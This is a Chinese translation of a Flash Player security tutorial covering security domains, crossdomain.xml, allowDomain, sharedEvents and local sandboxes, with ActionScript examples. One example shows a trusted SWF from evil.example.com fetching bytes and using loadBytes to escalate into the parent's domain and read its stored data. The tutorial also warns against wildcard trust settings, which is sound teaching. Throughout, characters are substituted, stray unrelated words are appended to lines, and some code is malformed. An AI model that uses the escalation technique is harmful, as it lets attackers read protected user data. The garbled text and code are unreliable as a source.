若是你尚未与复杂的的安全域(security domain)和应用程序域(application domain)问题打过交道,那么你真是个幸运的家伙。当你在加载外部内容(而后他们开始播放)的时候,默认的设置工做的很好,你甚至不知道他们的存在。 可是某些时候你可能须要控制默认设置之外的更多行为和功能,这样你就会遇到前面所说的问题。你也许会困扰于Security.allowDomain和crossdomain.xml文件的区别,又或者你想要深究关于安全性的最佳实践。若是是这样,那么这篇文章就是你所须要的了。
如下的教程将会讨论什么是安全域和应用程序域,以及他们在Flash Player中应该如何使用。
php
沙箱是用于区分不一样的数据和程序执行。沙箱对于安全性尤为重要。若是没有恰当的信任受权,两个位于不一样沙箱内的内容应该没有任何交互。Flash Player的安全模型使用称为安全域的沙箱来分离内容。
虽然安全性是沙箱的主要用途,但这并非惟一使用沙箱的缘由。另一种可能的情形是使用沙箱来避免命名冲突,这种区分代码的沙箱方式在Flash Player中被称为应用域。html
安全域在Flash中是顶级的沙箱。安全域连接到内容的来源域名,或者是被加载的内容(如SWF文件)的来源域名。好比在senocular.com下的SWF文件包含一个连接到senocular.com的安全域,而在example.com下的SWF文件则有一个连接到example.com的安全域。不一样的安全域使得SWF文件在Flash Player中播放时运行在自身的沙箱下。跨域
Flash Player中的安全域沙箱安全
注意:在本教程的例子中,你将看到我用统一顶级域名下的不一样子域来表明不一样域名,这是由于在Flash中,不一样子域和不一样顶级域同样,都被视为不一样的域。示例中代码也被简化过了,在Flash编辑环境下用时间线代码也能够进行测试。服务器
不可执行的内容(非SWF文件),好比图片或者文本文件,也被划分到安全域中,一样与他们所处的域名相关联。实际上,正是域名决定了这些内容是否可以被某个SWF文件加载。更多这方面的内容将在 不可执行文件的信任机制 章节中进行讨论。
回到SWF上来,安全域划分了数据和可执行代码。若是两个SWF处于不一样的安全域下,某个SWF中的数据(好比某个变量)是不能够被其余SWF获取的,固然,代码也不能执行。若是尝试获取其余域中SWF文件的数据将会产生一个安全错误。
下面的代码展现了一个SWF文件企图加载另一个SWF,并获取其文档类的实例(也就是主时间线)。网络
http://same.example.com/parent.swf:并发
var loader:Loader = new Loader(); loader.contentLoaderInfo.addEventListener(Event.INIT, init); var url:String = "http://diff.example.com/child.swf"; loader.load(new URLRequest(url)); function init(event:Event):void { trace(loader.content); // SecurityError: Error #2121: Security sandbox violation: // Loader.content: http://same.example.com/parent.swf // cannot access http://diff.example.com/child.swf. // This may be worked around by calling Security.allowDomain. }
任意想要获取被加载的SWF文件的内容的尝试,甚至包括trace Loader的content属性。都会引发安全错误,由于他们二者处于不一样的安全域内。
安全域的划分也适用于Flash Player所使用的原生ActionScript类。Flash Player 在每一个安全域中都建立了独立的原生类。举例来讲,一个安全域内的XML类与另一个安全域内的XML类是不相同的,改变其中一个XML的静态属性 XML.prettyIndent
并不会影响到另外一个安全域。
下面这个SWF文件加载了两个子SWF,一个来自自身的域,另外一个从另外的域加载。咱们改变了主文件的prettyIndent
属性,来看看这两个子文件的属性输出。app
http://same.example.com/parent.swf:dom
trace(XML.prettyIndent); // 2 XML.prettyIndent = 5; trace(XML.prettyIndent); // 5 // Same domain: var sameLoader:Loader = new Loader(); var sameURL:String = "http://same.example.com/child.swf"; sameLoader.load(new URLRequest(sameURL)); // Different domain: var diffLoader:Loader = new Loader(); var diffURL:String = "http://diff.example.com/child.swf"; diffLoader.load(new URLRequest(diffURL));
http://same.example.com/child.swf:socket
trace("same: " + XML.prettyIndent); // same: 5
http://diff.example.com/child.swf:
trace("diff: " + XML.prettyIndent); // diff: 2
能够看到,第二个子文件的属性并无被改变。这就说明不一样的安全域具备不一样的原生ActionScript类定义。
尽管安全域只容许相同域下的通信,可是咱们能够经过信任受权来让处于两个不一样安全域内的SWF文件进行通信。经过受权,某个安全域内的文件能够获取另外一个域内文件的的数据,或者调用其方法,就像是处于相同的安全域下同样。
在ActionScript中,SWF的信任受权是经过 Security.allowDomain(或者相似的 Security.allowInsecureDomain)来设置的。在被信任的安全域内的代码能够调用这个方法来受权信任给另外一个或者一组在其余安全域内的SWF文件。这种信任是单向的,发起allowDomain的SWF文件不能去访问被受权信任的文件,除非对方也作了信任受权。
在下面的例子中,一个子SWF文件调用allowDomain来容许父SWF的访问:
http://home.example.com/parent.swf:
var loader:Loader = new Loader(); loader.contentLoaderInfo.addEventListener(Event.INIT, init); var url:String = "http://away.example.com/child.swf"; loader.load(new URLRequest(url)); function init(event:Event):void { // (子文件执行了allowDomain) trace(loader.content); // [object DocumentClass] }
http://away.example.com/child.swf:
Security.allowDomain("home.example.com");
若是没有授信,就像前文说到的,仍是会引起安全错误。可是一旦被加载的子SWF调用了allowDomain之后,父SWF文件就能够自由的访问子SWF文件中的内容。要注意的是在这个例子中,因为父SWF文件没有受权away.example.com的信任,因此子SWF仍然没法访问loader的content属性。
信任是很是重要的安全概念,绝对不能掉以轻心。咱们常常看见使用通配符的受权:
// 当心哦! Security.allowDomain("*");
这么作将容许全部SWF文件,不只仅只是你加载的或是加载你的,能够经过ActionScript来访问你文件中的数据。就算你没有在文件中包含敏感数据,可是若是你在文件中提供了某些方法去获取这种数据,那也有可能被其余SWF调用。使用allowDomain来受权的信任就像给了其余SWF文件相等的权利:你能作什么,我就能作什么。在接下来的 合并安全域 章节中你将看到这意味着什么。
若是你只是想让SWF之间可以通讯,除了信任受权的方法之外咱们还可使用sharedEvents对象来实现,咱们将在 在非受信的SWF之间通信 章节中讨论。
因为不可执行文件(也就是非SWF文件)不能调用allowDomain代码,因此这类文件的信任机制在Flash Player中有不同的处理方法。这就是跨域(cross-domain)策略文件派上用场的地方。
跨域策略文件是一个放在网站的根域名下的命名为crossdomain.xml的XML文件。和allowDomain相似,定义了一组能够被Flash Player加载的安全网站域名。一个简单的跨域策略文件的例子以下:
http://example.com/crossdomain.xml:
<?xml version="1.0"?> <cross-domain-policy> <site-control permitted-cross-domain-policies="by-content-type"/> <allow-access-from domain="*.example.com"/> <allow-access-from domain="www.example-partner.com"/> <cross-domain-policy>
你能够从 Cross-domain policy file specification (adobe.com)得到详细的文件格式信息。
和allowDomain不一样的是,跨域策略文件只提供了包含全部文件(一般是一个域下的全部文件)的用法。上面的例子表示容许来自example.com的任意子域或www.example-partner.com的SWF文件加载example.com下的文件。
因为存在allowDomain机制,跨域策略文件一般不用于受权SWF文件的访问。跨域加载SWF的时候不会请求跨域策略文件。只有当要把一个跨域的SWF合并到当前的安全域的时候,才须要提供跨域策略文件。这个主题将在 合并安全域 中进行讨论。
无论是标准的位于域名根目录下的跨域策略文件仍是用 Security.loadPolicyfile 指定的跨域策略文件,都只有在须要的时候才会被加载:当内容被加载的同时,跨域策略文件也被一块儿加载进来。
加载完成后,Flash Player 分析跨越策略文件并判断该域是否为信任SWF所处的域。若是答案是确定的话,文件正常加载,就像处于和SWF文件相同的域同样。反之则有可能有两种状况:
若是文件自己就是数据(文本文件,XML文件,二进制数据等等),那么文件就不会被加载。
须要跨域策略文件来加载仅包含数据的文件
若是文件除了数据之外还有其他用途(图像文件,声音文件等),那么文件仍是可以被加载到用户可见(可听)的环境中。好比说图像文件,就算没有跨域策略文件,仍是能够在Loader对象中显示给用户看。可是相似BitmapData.draw等直接访问图像数据的方法就不能运行。
须要跨域策略文件来获取其余文件的数据的引用。
对此可能你们都有点疑惑。实际上用户是能够访问这些数据的,可是SWF文件不行。Flash Player是在保护用户的数据不被潜藏有危险代码的SWF文件获取。用户不须要关心跨域策略文件也能正常的浏览网页内容。 但这并非说跨域策略文件能够被忽视,相似于下面这种过度纵容的跨域策略文件有不少潜在的危险:
<?xml version="1.0"?> <cross-domain-policy> <!-- <strong>当心哦!</strong> --> <allow-access-from domain="*"/> <cross-domain-policy>
警告:使用通配符(*)容许全部域的访问等同于:用户可能能够接触到的全部处于该域下的数据都有可能被任意SWF文件获取。
客户端的Flash Player运行在当前用户的认证下,这就表示用户的数据可能就是Flash Player的数据。并且Flash Player的数据可能被任意在里面运行的SWF获取。Flash Player默认只容许相同域名下的SWF的安全数据,并限制跨域SWF的运行。若是没有这层限制,SWF能够获取任意当前用户能够获取的数据。
举个例子:某用户使用他的认证来登陆网页的邮件客户端收取邮件,而后用户打开了一个包含有恶意程序的SWF的页面。若是没有跨域限制的话,这个SWF能够用他现有的认证偷偷地加载用户的邮件页面。用户能够访问的内网也不例外,只要用户能去的地方,SWF就能去。幸亏Flash Player阻止了这种获取数据的行为,除非该域经过跨域策略文件给予SWF受权。
记住一个原则,永远不要对包含敏感数据的域开发跨域受权,即便须要上面的信息来进行用户认证。把SWF能够访问的数据划分到不一样的域或者子域下面。
Domain | Description | Policy file |
---|---|---|
login.example.com | Hosts user data | None |
feed.example.com | Hosts public data | Includes:<allow-access-from domain="*" /> |
这将使得敏感数据不可被访问,可是仍然能够对其余域下的SWF文件公开你的其余数据。
若是没有跨域策略文件的信任受权,Flash Player 禁止非SWF文件的获取。特别是像文本那样的仅包含数据的文件,甚至不会加载。若是你须要从一个没有跨域受权的域中获取数据,仍是有一个变通的办法。
跨域策略文件用于保护数据,特别是保护用户数据,或者说是用户可以接触到的数据。由于Flash Player是运行在客户端的,可是服务器端的代码没有这种限制。服务器彻底是另一台机器,因此用户请求和服务器请求是彻底无关的。
因为服务器没有用户的限制,服务器端的代码能够从任意公开的网络服务获取数据。也就是说包含SWF的服务器能够用于访问外部域的数据,而后做为相同域的数据返回给Flash Player。因为处在相同的域下,Flash Player就不须要有跨域策略文件了。
下面的代码演示了一个服务器端的php脚本加载外部数据的例子:
http://home.example.com/loader.swf:
var urlLoader:URLLoader = new URLLoader(); var urlVariables:URLVariables = new URLVariables(); // 服务器端获取外部数据的地址 urlVariables.externalURL = "http://away.example.com/content.txt"; // 服务器端的脚本获取外部数据并传给SWF var serverPage:String = "http://home.example.com/read.php"; var request:URLRequest = new URLRequest(serverPage); request.data = urlVariables; urlLoader.load(request);
这种解决方案也有必定的问题:
首先你必须可以在服务器端部署代码,某些小项目也许根本不须要服务器环境。
另外一个可能更重要的缘由是这种方式加倍了网络流量。首先必须从外部域加载到你本身的域下,而后才被下载到你的SWF客户端。同时这也加剧了你的服务器的负载。使用跨域策略文件的话就不会有这种问题。
这能够做为一种解决方案,但最好仍是能用跨域策略文件来解决。
在某些状况下有可能要与其余来源不那么可靠的域中的SWF通信,你并不但愿彻底信任该域,放开所有受权。对此LoaderInfo对象的sharedEvents属性提供了另外一种机制。sharedEvents对象是惟一的一个能够在不一样安全域中发送共享事件的对象。加载者和被加载者均可以经过这个对象来向对方发送事件。
经过sharedEvents对象发送的事件在两个域中都是彻底受信的,这就使得在两个安全域中传递的任意数据都无需考虑安全问题。
警告:小心!经过sharedEvents对象传递了错误的数据仍然有可能把你的SWF中的数据暴露出去。好比你的事件包含了一个复杂对象,特别是显示列表上的对象,那么你的整个SWF都将暴露。
因此经过sharedEvents发送的事件应该限制为包含简单数据的事件类型,避免一些被包含后门的SWF程序加以利用。若是你要传递复杂的事件,那要在传递以前先作一下清理。
使用sharedEvents进行通信的两个SWF须要确保发送和接收的是一致的事件类型。父SWF能够发出一种事件并监听另外一种。子SWF能够监听父SWF发出的事件并发出父SWF中正在监听的事件。这些事件的名字能够是随意的。
下面的例子演示了在不一样安全域中的父子SWF使用sharedEvents来通信简单的文本信息的状况。父SWF发出“fromParent”事件,而子SWF发出“fromChild”事件。
http://safe.example.com/parent.swf:
var loader:Loader = new Loader(); var shared:EventDispatcher = loader.contentLoaderInfo.sharedEvents; shared.addEventListener("fromChild", fromChild); var url:String = "http://untrusted.example.com/child.swf"; loader.load(new URLRequest(url)); function fromChild(event:TextEvent):void { trace(event.text); // Good day var replyMessage:TextEvent = new TextEvent("fromParent"); replyMessage.text = "Same to you"; shared.dispatchEvent(replyMessage); }
http://untrusted.example.com/child.swf:
var shared:EventDispatcher = loaderInfo.sharedEvents; shared.addEventListener("fromParent", fromParent); var firstMessage:TextEvent = new TextEvent("fromChild"); firstMessage.text = "Good Day"; shared.dispatchEvent(firstMessage); function fromParent(event:TextEvent):void { trace(event.text); // Same to you }
任意的事件类均可以像这样用于传递信息,也包括自定义事件。再次强调,要小心不要把包含引用的数据(特别是显示列表上的对象)随着事件一块儿发送出去。这种状况的例子在 场景的拥有者和获取权限 章节中能够找到。
若是两个域之间创建了信任关系,一个SWF就能把另一个SWF加到本身的安全域内,就像是在相同的域下同样。
在这种状况下信任受权的处理有少量不一样。
首先,包含父SWF的域不须要指定什么,只要执行加载另外一个SWF到当前的安全域就表示彻底信任这个SWF。
其次,由于子SWF是当即被加载到父SWF的安全域中,并无机会经过allowDomain进行信任受权声明。当子SWF能够执行allowDomain声明的时候,已经被加载并实例化到另外的域中。因此这种状况下,跨域策略文件将派上用场。实际上这也是跨域策略文件惟一适用于对SWF进行受权的状况。
须要跨域策略文件把跨域的SWF加载到相同的安全域
要加载某个SWF到本身的安全域内,须要给Loader.load方法指定一个 LoaderContext 对象。LoaderContext对象的securityDomain属性设置为当前的安全域( SecurityDomain.currentDomain )。经过这样的加载方式,父SWF授信给子SWF,而子SWF的授信则须要经过跨域策略文件。
http://host.example.com/parent.swf:
trace(new LocalConnection().domain); // host.example.com var loader:Loader = new Loader(); // 建立一个LoaderContext对象把子SWF加载到当前的安全域 var context:LoaderContext = new LoaderContext(true); context.securityDomain = SecurityDomain.currentDomain; var url:String = "http://trusting.example.com/child.swf"; loader.load(new URLRequest(url), context);
http://trusting.example.com/crossdomain.xml:
<?xml version="1.0"?> <cross-domain-policy> <allow-access-from domain="host.example.com"/> <cross-domain-policy>
http://trusting.example.com/child.swf:
trace(new LocalConnection().domain); // host.example.com
咱们能够经过 LocalConnection 对象的domain属性来检查每一个SWF所处的安全域。虽然子SWF原先所处的域是trusting.example.com,可是因为它被加载到父SWF所处的域中,因此子SWF最终所处的安全域是host.example.com。
用这个方式加载的SWF文件权力比用allowDomain受权的更加大。使用allowDomain受权,等同于说你能作什么,我就能作什么。而把SWF加载到同一个安全域,则等同于我能作任何事。在前一种状况下,子SWF只能调用父SWF下的代码,仍是受限于父SWF中的定义。可是经过加载到相同的安全域,这些子SWF就能够在你的域下面作任意操做,这包括:
因此在引入跨域SWF文件到你当前的安全域下的时候,你要确保这种权力不会被滥用。
使用包含安全域的LoaderContext对象的load方法不是可以引入跨域SWF到你的安全域的惟一方法。Loader类的另外一个方法loadBytes也能够作到。和load不一样的是,它不是用URL来加载外部内容,而是直接加载以 ByteArray 的形式加载对象。
因为ByteArray与域名之间没有关联,因此用loadBytes方法加载的对象将直接进入当前安全域内。由于你在加载包含这些字节对象以前每每都要通过某种信任受权,因此这一般是安全的。
http://host.example.com/parent.swf:
trace(new LocalConnection().domain); // host.example.com var loader:Loader = new Loader(); var urlLoader:URLLoader = new URLLoader(); urlLoader.dataFormat = URLLoaderDataFormat.BINARY; urlLoader.addEventListener(Event.COMPLETE, bytesLoaded); // cross-domain policy file required to load data var url:String = "http://trusting.example.com/childbytes.swf"; urlLoader.load(new URLRequest(url)); function bytesLoaded(event:Event):void { loader.loadBytes(urlLoader.data); }
http://trusting.example.com/crossdomain.xml:
<?xml version="1.0"?> <cross-domain-policy> <allow-access-from domain="host.example.com"/> <cross-domain-policy>
http://trusting.example.com/childbytes.swf:
trace(new LocalConnection().domain); // host.example.com
就和前面看到的例子同样,经过检查子SWF文件的LocalConnection.domain属性,使用loadBytes方法加载的子SWF也显示为相同的安全域。
警告:loadBytes方法有个小小的安全问题:能够把授信过的跨域SWF和加载到当前安全域下的SWF二者间的不一样扯平。咱们知道虽然这二者都是被信任的,可是就像上面的列表中提到的,后者比前者的权力更大。“你能作什么,我就能作什么”与“我能作任何事”之间的差异,结果能够变成没有差异。
这是由于授信过的跨域SWF文件能够访问父SWF的任何对象,包括父SWF对象的Loader实例,一旦拥有了对loadBytes方法的引用,这就意味着能够把某些字节对象加载到当前的安全域。
下面的这个例子展现了这种可能性:
http://good.example.com/parent.swf:
// 受权 "你能作什么,我就能作什么" Security.allowDomain("evil.example.com"); // 应当受保护的数据 var so:SharedObject = SharedObject.getLocal("foo", "/"); so.data.foo = "bar"; so.flush(); var loader:Loader = new Loader(); var url:String = "http://evil.example.com/child.swf"; loader.load(new URLRequest(url));
http://evil.example.com/child.swf:
var so:SharedObject = SharedObject.getLocal("foo", "/"); trace("trust only: " + so.data.foo); // trust only: undefined var urlLoader:URLLoader = new URLLoader(); urlLoader.dataFormat = URLLoaderDataFormat.BINARY; urlLoader.addEventListener(Event.COMPLETE, bytesLoaded); var url:String = "http://evil.example.com/childbytes.swf"; urlLoader.load(new URLRequest(url)); function bytesLoadedEvent):void { // 威胁!loadBytes加载了SWF数据到父SWF的安全域 loaderInfo.loader.loadBytes(urlLoader.data); }
http://evil.example.com/childbytes.swf:
var so:SharedObject = SharedObject.getLocal("foo", "/"); trace("same domain: " + so.data.foo); // same domain: ba
未来版本的Flash Player可能会改变这种行为,因此在程序中不要使用这种方法。咱们应该关注的是加载授信过的SWF文件会带来的潜在威胁:暴露你的域下的全部数据。
当第一个SWF文件被加载到Flash Player中的时候,它被加到显示列表的根上,也就是咱们所说的 stage 对象。这也是Flash Player本身的显示对象的根。每一个SWF都有表明本身主文档类或者主时间线的根(叫作 root )。第一个被建立的SWF实例的根被放置于场景上,其余子SWF使用Loader对象的实例来加载。
场景的特别之处在于它自己就位于显示列表上,全部处于显示列表上的子SWF均可以取得它的引用,可是它只有一个拥有者:就是第一个被实例化的那个SWF。场景的拥有者决定了场景所链接的安全域。其余的SWF想对场景进行特殊操做的行为都必须得到场景全部者的信任受权。
你可能有注意到在过去的有些程序或者是组件中,被加载到不一样的域(未授信)里的时候报错。这正是由于没有取得对场景对象进行操做的受权。由于场景对象是能够被引用的,可是诸如场景的addEventListener方法等却不可用,因此这很容易引发误解。
下面这个表格列出了场景对象限制非安全域对象访问的成员。可能不是100%精确,主要用于参考。
addChild | addChildAt | removeChild |
removeChildAt | getChildIndex | setChildIndex |
getChildAt | getObjectsUnderPoint | swapChildren |
swapChildrenAt | numChildren | tabChildren |
mouseChildren | width | stageWidth |
fullScreenWidth | height | stageHeight |
fullScreenHeight | quality | align |
scaleMode | displayState | fullScreenSourceRect |
stageFocusRect | showDefaultContextMenu | colorCorrection |
addEventListener | dispatchEvent | hasEventListener |
willTrigger |
在下面的例子中看看场景是如何能够被子SWF访问,可是却不能调用stage.addEventListener方法。
http://first.example.com/parent.swf:
var loader:Loader = new Loader(); addChild(loader); var url:String = "http://second.example.com/child.swf"; loader.load(new URLRequest(url));
http://second.example.com/child.swf:
// Works trace(stage); // [object Stage] // Does not work stage.addEventListener(MouseEvent.CLICK, stageClick); // SecurityError: Error #2070: Security sandbox violation: // caller http://second.example.com/child.swf cannot access // Stage owned by http://first.example.com/parent.swf.
场景的这种全部者关系很是操蛋,由于咱们常常须要对场景对象监听鼠标或者键盘事件,好比检测键盘按下或者检测鼠标在物体外部释放点击。在这种状况下,单靠子SWF自身是没办法完成的。还好,场景拥有者的父SWF能够经过sharedEvents传递场景事件而没必要授信给子SWF。经过这种方式,能够在保护主域的前提下配合完成这种工做。
警告:如下这个使用范例演示了sharedEvents是如何处理安全性问题的。一些鼠标事件的relatedObject属性持有对时间线上的对象的引用。若是不通过清理,这些对象就会暴露给没有通过授信的域。因此经过sharedEvents发送事件时,要把这些引用清除。好比MouseEvent,咱们能够新建一个仅包含必须数据的MouseEvent对象。
下面的示例展现了如何经过sahredEvents发送场景事件。示例中仅仅转发了MOUSE_OUT事件,固然也能够扩展于其余的事件类型。注意如何建立一个代理事件并保护父SWF中的对象。
http://stageowner.example.com/parent.swf:
var combination:String = "1-2-3-4-5"; // 隐私数据 var loader:Loader = new Loader(); var shared:EventDispatcher = loader.contentLoaderInfo.sharedEvents; var url:String = "http://untrusted.example.com/child.swf"; loader.load(new URLRequest(url)); stage.addEventListener(MouseEvent.MOUSE_OUT, forwardMouseEvent); function forwardMouseEvent(event:MouseEvent):void { // 威胁!这种作法暴露了relatedObject,也使得其余数据被暴露 //shared.dispatchEvent(event); // Safer: 建立一个清理过的代理事件来切断relatedObject的引用 var safeEvent:MouseEvent = new MouseEvent(event.type); safeEvent.altKey = event.altKey; safeEvent.buttonDown = event.buttonDown; safeEvent.ctrlKey = event.ctrlKey; safeEvent.delta = event.delta; safeEvent.localX = event.localX; safeEvent.localY = event.localY; safeEvent.shiftKey = event.shiftKey; shared.dispatchEvent(safeEvent); }
http://untrusted.example.com/child.swf:
var shared:EventDispatcher; // 若是场景事件不能引用,那就经过sharedEvents监听 if (loaderInfo.parentAllowsChild){ stage.addEventListener(MouseEvent.MOUSE_OUT, stageMouseOut); }else{ shared = loaderInfo.sharedEvents; shared.addEventListener(MouseEvent.MOUSE_OUT, stageMouseOut); } function stageMouseOut(event:MouseEvent):void { // -- stage mouse out actions here -- // 若是sharedEvents传递了原始的鼠标事件,那么父域中的数据就暴露了! //trace(Object(event.relatedObject).root.combination); // 1-2-3-4-5 }
幸亏有safeEvent这个MouseEvent的实例,本来的MouseEvent对象的relatedObject指向的引用被屏蔽了。实际上,全部经过sharedEvents对象发送的事件都应该用这种方式清理一遍。
在硬盘上运行的SWF文件一样有本身的安全域。本地安全域有本身独特的行为,共分为4种安全沙箱类型:local-with-file, local-with-network, local-trusted, and application for AIR(本文不详细讨论AIR)。再加上网络上的SWF,一共有5种安全沙箱。在ActionScript中,你能够用 Security.sandboxType 来得到当前的安全沙箱类型。
Security.LOCAL_WITH_FILE
)—本地不受信任的文件,只能够访问本地数据,不能与网络通讯。Security.LOCAL_WITH_NETWORK
)—本地不受信任的文件,只能够访问网络,可是不能读取本地数据。Security.LOCAL_TRUSTED
)—本地受信的文件,经过Flash Player设置管理器或者FlashPlayerTrust文件受权。能够访问本地和网络。Security.APPLICATION
)—随着AIR包而安装,运行在AIR程序中。默认在这种沙箱类型下的文件能够调用任意域下的文件(外部域可能不容许)。并且默认能从任意其余域下加载数据。Security.REMOTE
)—来自网络的文件,遵循安全域的沙箱规则。因为有可能从用户的硬盘上获取敏感数据,因此本地文件在安全方面有着严格的规则。一旦有机会,恶意的SWF将能够从电脑上读取数据并上传到网络上的服务器。因此为了防止这种状况,本地的SWF只容许一种类型的通信,要么就是本地,要么就是网络。并且,不一样安全沙箱类型的SWF不能相互加载,避免能同时访问网络和访问本地的状况出现。
因为咱们不能判断本地文件的域名,因此判断本地SWF文件的安全沙箱用的是另一种形式。只容许本地和只容许网络这两种状况是经过SWF文件内的标识来区分的,全部的SWF在发布的时候都带有这种标识,当SWF在本地运行的时候,Flash Player就用它来检测安全沙箱类型。
对于本地的信任文件,相同的问题是咱们没有地方来保存跨域策略文件,因此咱们经过Flash Player的 设置管理器 里的 全局安全设置面板 来设置。经过下图中所示的下拉菜单把本地SWF的路径添加到本地的安全文件列表里。
另外一种方式是经过配置文件的方式。配置文件不像设置管理器那样须要联网来使用。要把SWF或者包含SWF的文件夹添加到信任位置的话只须要添加路径到Flash Player的#Security\FlashPlayerTrust下的.cfg文件就能够了。在Mac和Windows上,这个路径以下:
- Windows 95-XP:C:\Documents and Settings\[username]\Application Data\Macromedia\Flash Player\#Security\FlashPlayerTrust
- Windows Vista-7:C:\Users\[username]\AppData\Roaming\Macromedia\Flash Player\#Security\FlashPlayerTrust
- Mac OS X:/Users/[username]/Library/Preferences/Macromedia/Flash Player/#Security/FlashPlayerTrust
把 [username] 替换为你的用户名。
两种方法都是把信任受权信息写入你的硬盘(全局安全设置面板也同样,保存在Flash Player的特定目录下)。这些文件就像你本地的跨域策略文件同样。当Flash Player读取的时候,信任受权给SWF,并覆盖SWF文件中关于本地访问权限的标识,从而容许受信的SWF可以同时访问本地和网络。
本地安全域
关于本地信任机制还有一点须要注意的是即便是本地受信的文件,仍然不能把处于外部沙箱的内容加载入本地沙箱。
大多数Flash内容都是为网络建立的,因此一般不须要彻底理解本地的安全沙箱机制。可是开发和测试是一个例外。Flash编辑器在测试的时候就是把SWF放在一个本地受信的安全沙箱里面。这有可能会形成与真正发布的SWF状况不一样的结果,由于二者的安全沙箱不一样。好比你测试的时候能够从没有授信的外部域读取内容,而真正发布到网站上的SWF却没法加载。因此当你测试的时候要注意,你所看到的结果和最终发布的版本有可能不同。
你能够到 Flash Player Developer Center (adobe.com)的 Security section查看更详细的安全相关信息。
原文地址:http://www.senocular.com/flash/tutorials/contentdomains/
译文转自:http://kevincao.com/2010/11/security-domains/